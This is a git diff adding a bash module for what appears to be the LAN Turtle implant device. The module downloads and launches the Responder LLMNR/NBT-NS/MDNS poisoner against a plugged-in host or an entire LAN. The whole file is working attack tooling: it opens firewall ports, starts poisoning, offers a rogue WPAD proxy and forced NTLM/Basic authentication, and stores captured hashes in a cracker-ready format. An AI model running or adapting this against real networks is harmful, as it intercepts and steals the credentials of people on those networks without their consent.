diff --git a/modules/responder b/modules/responder
new file mode 100644
index 0000000..07f260a
--- /dev/null
+++ b/modules/responder
@@ -0,0 +1,409 @@
+#!/bin/bash /usr/lib/turtle/turtle_module
+
+# responder by IMcPwn
+# http://imcpwn.com
+
+VERSION="2.4"
+DESCRIPTION="Responder - LLMNR, NBT-NS and MDNS poisoner"
+CONF=/tmp/responder.form
+AUTHOR=IMcPwn
+
+: ${DIALOG_OK=0}
+: ${DIALOG_CANCEL=1}
+: ${DIALOG_HELP=2}
+: ${DIALOG_EXTRA=3}
+: ${DIALOG_ESC=255}
+
+function start {
+  if [ -s /etc/config/responder ]; 
+  then
+    responder_interface=$(uci get responder.interface)
+    responder_log=$(uci get responder.log)
+    responder_mode=$(uci get responder.mode)
+    
+    if [[ $responder_interface == "" ]];
+    then
+      echo "Responder interface not configured."
+      exit 1
+    fi
+    
+    if [[ $responder_log == "" ]];
+    then
+      echo "Responder log location not configured."
+      exit 1
+    fi
+    
+    if [[ $responder_mode == "" ]];
+    then
+      echo "Responder mode not configured."
+      exit 1
+    fi
+  
+    if [[ ! $(opkg list-installed | grep git) ]];
+    then
+      echo "Dependency git not installed. Installing..."
+      check_internet
+      opkg update > /dev/null && opkg install git
+    fi
+    
+    if [[ ! $(opkg list-installed | grep python-sqlite3) ]];
+    then
+      echo "Dependency python-sqlite3 not installed. Installing..."
+      check_internet
+      opkg update > /dev/null && opkg install python-sqlite3
+    fi
+    
+    if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py || ! -s /etc/turtle/Responder/Responder.conf ]];
+    then
+      echo "Required Responder files not found. Downloading..."
+      check_internet
+      rm -rf /etc/turtle/Responder
+      git clone git://github.com/SpiderLabs/Responder /etc/turtle/Responder -q
+    fi
+    
+    case $responder_mode in
+      1) mode="";;
+      2) mode="-A";;
+      3) mode="-w";;
+      4) mode="-r";;
+      5) mode="-F";;
+      6) mode="-f";;
+      7) mode="-v";;
+      8) mode="-r -F";;
+      9) mode="-r -F -f";;
+      *)
+        echo "Responder configuration not valid."
+        echo "Please re-configure then try again."
+        rm -f /etc/config/responder
+        exit 1
+        ;;
+    esac
+  
+    case $responder_log in
+      sshfs)
+        if pgrep sshfs > /dev/null;
+        then
+          if [[ $responder_interface == "eth1" ]];
+          then
+            iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT
+            iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT
+          fi
+          
+          if [ -s /etc/turtle/Responder/Responder.db ]; 
+          then
+            rm -f /etc/turtle/Responder/Responder.db
+          fi
+          
+          if [[ $(readlink /etc/turtle/Responder/logs) != "/sshfs/Responder/logs" || ! -d /sshfs/Responder/logs ]]; 
+          then
+            rm -rf /etc/turtle/Responder/logs
+            mkdir -p /sshfs/Responder/logs
+            ln -s /sshfs/Responder/logs /etc/turtle/Responder/logs
+          fi
+          
+          echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface" | at now
+          echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /sshfs/Responder"
+          echo "Logs can be viewed at Configure > log > View log"
+        else 
+          echo "SSHFS not running"
+          exit 1
+        fi
+        ;;
+      tmp)
+        if [[ $responder_interface == "eth1" ]]; 
+        then
+          iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT
+          iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT
+        fi
+        
+        if [ -s /etc/turtle/Responder/Responder.db ]; 
+        then
+          rm -f /etc/turtle/Responder/Responder.db
+        fi
+        
+        if [[ $(readlink /etc/turtle/Responder/logs) != "/tmp/Responder/logs" || ! -d /tmp/Responder/logs ]]; then
+          rm -rf /etc/turtle/Responder/logs
+          mkdir -p /tmp/Responder/logs
+          ln -s /tmp/Responder/logs /etc/turtle/Responder/logs
+        fi
+        
+        echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface &" | at now
+        echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /tmp/Responder"
+        echo "Responder started with pid"
+        pgrep -f Responder.py
+        ;;
+      *)
+        echo "Responder configuration not valid."
+        echo "Please re-configure then try again."
+        rm -f /etc/config/responder
+        exit 1
+        ;;
+    esac
+  else
+    echo "Responder not configured."
+    exit 1
+fi
+}
+
+function stop {
+  responder_interface=$(uci get responder.interface)
+  if [[ $responder_interface == "eth1" ]]; 
+  then
+    #iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT
+    iptables -t filter -D INPUT -i eth1 -j ACCEPT
+    iptables -D INPUT -i eth1 -p udp --dport 53 -j ACCEPT
+    iptables -D INPUT -i eth1 -p udp --dport 137 -j ACCEPT
+    iptables -D INPUT -i eth1 -p udp --dport 138 -j ACCEPT
+    iptables -D INPUT -i eth1 -p udp --dport 389 -j ACCEPT
+    iptables -D INPUT -i eth1 -p udp --dport 5553 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 21 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 25 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 80 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 110 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 139 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 389 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 445 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 1433 -j ACCEPT
+    iptables -D INPUT -i eth1 -p tcp --dport 3141 -j ACCEPT
+  fi
+  if pgrep -f Responder.py > /dev/null; then kill $(pgrep -f Responder.py); fi
+  echo "Responder stopped"
+}
+
+function status {
+  if ps | grep -w -q [/]etc/turtle/Responder/Responder.py; then echo "1"; else echo "0"; fi
+}
+
+function check_internet {
+    ping -q -w 5 -c 1 lanturtle.com &> /dev/null && {
+        :
+    } || {
+        echo -e "\nThe LAN Turtle is currently offline. The previous\noperation requires an internet connection."
+        exit 1
+    }
+}
+
+function log {
+dialog --ok-label "Submit" \
+  --title "Responder Log Configuration" \
+  --extra-button \
+  --extra-label "View log" \
+  --help-button \
+  --radiolist "\n\
+The log files can be saved to SSHFS or tmp.\n" 16 60 3\
+    1 "Save log to SSHFS if available." off\
+    2 "Save log to /tmp" off\
+  2>$CONF
+  return=$?
+  case $return in
+    $DIALOG_OK)
+      LOG=$(cat $CONF)
+      case $LOG in
+        1)
+          uci set responder.log="sshfs"
+          uci commit responder
+          ;;
+        2)
+          uci set responder.log="tmp"
+          uci commit responder
+          ;;
+  esac
+  configure;;
+    $DIALOG_CANCEL)
+      configure;;
+    $DIALOG_ESC)
+      configure;;
+    $DIALOG_EXTRA)
+    responder_log=$(uci get responder.log)
+    case $responder_log in
+      sshfs)
+        dialog --title "/sshfs/Responder/logs/Responder-Session.log" --clear --tailbox "/sshfs/Responder/logs/Responder-Session.log" 18 72
+        ;;
+      tmp)
+        dialog --title "/tmp/Responder/logs/Responder-Session.log" --clear --tailbox "/tmp/Responder/logs/Responder-Session.log" 18 72
+        ;;
+      *)
+        echo "Responder log location not configured."
+        ;;
+    esac
+    log;;
+  $DIALOG_HELP)
+    dialog --title "Help" --msgbox "\n\
+All activity will be logged to Responder-Session.log\n\
+Analyze mode will be logged to Analyze-Session.log\n\
+Poisoning will be logged to Poisoners-Session.log\n\n\
+All hashes are dumped an unique file John Jumbo compliant, using this format:\n\
+(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt\n\n\
+" 18 72
+log
+  esac
+}
+
+function interface {
+dialog --ok-label "Submit" \
+    --title "Responder Interface Configuration" \
+    --radiolist "\n\
+Responder can target the Host machine (The computer the LAN Turtle is plugged in to) or the LAN (The network the LAN Turtle is connected to).\n" 16 60 3\
+    1 "Target just the Host machine (br-lan)." off\
+    2 "Target the entire LAN (eth1)." off\
+  2>$CONF
+  return=$?
+  case $return in
+    $DIALOG_OK)
+      INTERFACE=$(cat $CONF)
+      case $INTERFACE in
+        1)
+          uci set responder.interface="br-lan"
+          uci commit responder
+          ;;
+        2)
+          uci set responder.interface="eth1"
+          uci commit responder
+          ;;
+      esac
+    configure;;
+    $DIALOG_CANCEL)
+      configure;;
+    $DIALOG_ESC)
+      configure;;
+  esac
+}
+
+function mode {
+  dialog --ok-label "Submit" \
+    --title "Responder Mode" \
+    --help-button \
+    --radiolist "Choose mode\n \n" 20 60 10\
+    1 "Default mode" off\
+    2 "Analyze mode" off\
+    3 "Start WPAD rouge proxy server" off\
+    4 "Enable answers for netbios suffix queries" off\
+    5 "Force NTLM/Basic Authentication" off\
+    6 "Fingerprint hosts" off\
+    7 "Enable verbose" off\
+    8 "Options 4 and 5" off\
+    9 "Options 4, 5, and 6" off\
+  2>$CONF
+  return=$?
+  case $return in
+    $DIALOG_OK)
+      mode=$(cat $CONF)
+      case $mode in
+        1)
+          uci set responder.mode="1"
+          uci commit responder;;
+        2)
+          uci set responder.mode="2"
+          uci commit responder;;
+        3)
+          uci set responder.mode="3"
+          uci commit responder;;
+        4)
+          uci set responder.mode="4"
+          uci commit responder;;
+        5)
+          uci set responder.mode="5"
+          uci commit responder;;
+        6)
+          uci set responder.mode="6"
+          uci commit responder;;
+        7)
+          uci set responder.mode="7"
+          uci commit responder;;
+        8)
+          uci set responder.mode="8"
+          uci commit responder;;
+        9)
+          uci set responder.mode="9"
+          uci commit responder;;
+      esac
+      configure;;
+    $DIALOG_CANCEL)
+      configure;;
+    $DIALOG_ESC)
+      configure;;
+    $DIALOG_HELP)
+    dialog --title "Help" --msgbox "\n\
+Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409).\n\
+By default, the tool will only answer to File Server Service request, which is for SMB.\n\n\
+The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior.\n\n\
+For more information, see: https://github.com/SpiderLabs/Responder\n\
+" 18 72
+mode
+  esac
+}
+
+function responderconf {
+dialog \
+    --help-button \
+    --title "Editing: /etc/turtle/Responder/Responder.conf" \
+    --editbox /etc/turtle/Responder/Responder.conf 18 72\
+  2>$CONF
+  return=$?
+  case $return in
+    $DIALOG_OK)
+      cat $CONF | {
+        cat $CONF > /etc/turtle/Responder/Responder.conf
+        rm $CONF
+        configure
+      };;
+    $DIALOG_HELP)
+      dialog --title "Help" \
+        --msgbox "For information on this configuration, see: https://github.com/SpiderLabs/Responder" 20 60
+      responderconf;;
+    $DIALOG_CANCEL)
+      rm $CONF
+      configure;;
+    $DIALOG_ESC)
+      rm $CONF
+      configure;;
+  esac
+}
+
+function configure {
+if [[ ! -s /etc/config/responder ]];
+then
+  touch /etc/config/responder
+fi
+
+  dialog --title "" --menu "" 15 60 5 \
+    "log"             "Specify log location" \
+    "interface"       "Specify interface to target" \
+    "mode"            "Specify Responder mode" \
+    "responderconf"   "Edit Responder.conf" \
+    "back"            "Return to previous menu" 2> $CONF
+  result=$(cat $CONF && rm $CONF &>/dev/null)
+  case $result in
+    "log") log;;
+    "interface") interface;;
+    "mode") mode;;
+    "responderconf") responderconf;;
+    "back") exit;;
+  esac
+}